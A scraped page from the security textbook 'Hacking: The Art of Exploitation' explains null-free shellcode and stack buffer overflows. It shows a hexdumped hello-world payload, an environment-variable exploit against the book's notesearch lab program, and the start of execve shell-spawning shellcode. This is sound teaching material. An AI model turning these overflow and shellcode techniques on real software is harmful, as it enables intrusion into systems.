26.07.2018 Views

hacking-the-art-of-exploitation

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

After assembling this shellcode, hexdump and grep are used to quickly<br />

check it for null bytes.<br />

reader@<strong>hacking</strong>:~/booksrc $ nasm helloworld3.s<br />

reader@<strong>hacking</strong>:~/booksrc $ hexdump -C helloworld3 | grep --color=auto 00<br />

00000000 eb 13 59 31 c0 b0 04 31 db 43 31 d2 b2 0f cd 80 |..Y1...1.C1.....|<br />

00000010 b0 01 4b cd 80 e8 e8 ff ff ff 48 65 6c 6c 6f 2c |..K.......Hello,|<br />

00000020 20 77 6f 72 6c 64 21 0a 0d | world!..|<br />

00000029<br />

reader@<strong>hacking</strong>:~/booksrc $<br />

Now this shellcode is usable, as it doesn’t contain any null bytes. When<br />

used with an exploit, <strong>the</strong> notesearch program is coerced into greeting <strong>the</strong><br />

world like a newbie.<br />

reader@<strong>hacking</strong>:~/booksrc $ export SHELLCODE=$(cat helloworld3)<br />

reader@<strong>hacking</strong>:~/booksrc $ ./getenvaddr SHELLCODE ./notesearch<br />

SHELLCODE will be at 0xbffff9bc<br />

reader@<strong>hacking</strong>:~/booksrc $ ./notesearch $(perl -e 'print "\xbc\xf9\xff\xbf"x40')<br />

[DEBUG] found a 33 byte note for user id 999<br />

-------[ end <strong>of</strong> note data ]-------<br />

Hello, world!<br />

reader@<strong>hacking</strong> :~/booksrc $<br />

0x530<br />

Shell-Spawning Shellcode<br />

Now that you’ve learned how to make system calls and avoid null bytes, all<br />

sorts <strong>of</strong> shellcodes can be constructed. To spawn a shell, we just need to make<br />

a system call to execute <strong>the</strong> /bin/sh shell program. System call number 11,<br />

execve(), is similar to <strong>the</strong> C execute() function that we used in <strong>the</strong> previous<br />

chapters.<br />

EXECVE(2) Linux Programmer's Manual EXECVE(2)<br />

NAME<br />

execve - execute program<br />

SYNOPSIS<br />

#include <br />

int execve(const char *filename, char *const argv[],<br />

char *const envp[]);<br />

DESCRIPTION<br />

execve() executes <strong>the</strong> program pointed to by filename. Filename must be<br />

ei<strong>the</strong>r a binary executable, or a script st<strong>art</strong>ing with a line <strong>of</strong> <strong>the</strong><br />

form "#! interpreter [arg]". In <strong>the</strong> latter case, <strong>the</strong> interpreter must<br />

be a valid pathname for an executable which is not itself a script,<br />

which will be invoked as interpreter [arg] filename.<br />

argv is an array <strong>of</strong> argument strings passed to <strong>the</strong> new program. envp<br />

is an array <strong>of</strong> strings, conventionally <strong>of</strong> <strong>the</strong> form key=value, which are<br />

Shellcode 295

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!